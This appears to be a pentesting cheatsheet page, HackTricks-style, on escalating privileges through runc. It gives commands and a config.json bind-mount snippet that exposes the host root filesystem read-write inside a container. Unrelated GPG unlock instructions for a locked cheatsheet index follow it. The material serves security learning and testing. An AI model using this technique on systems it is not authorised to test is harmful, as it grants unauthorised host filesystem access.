// HackTricks · Linux

RunC Privilege Escalation

RunC Privilege Escalation

Basic information

If you want to learn more about runc check the following page:

2375 Pentesting Docker

PE

If runc is available to a rootful process on the host, you can use an OCI bundle whose mount configuration recursively bind-mounts the host’s / at / inside the container, exposing the host filesystem in that mount namespace.[1][2][3]

runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder

Inside the "mounts" section of the create config.json add the following lines:
{
    "type": "bind",
    "source": "/",
    "destination": "/",
    "options": [
        "rbind",
        "rw",
        "rprivate"
    ]
},

#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs

# Finally, start the container
# The root folder is the one from the host
runc run demo

[!CAUTION] The documented runc run workflow is rootful: runc’s own examples label it “run as root.” An unprivileged user needs a rootless configuration such as runc spec --rootless, and runc documents that user namespaces must be enabled for that mode.[1]

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.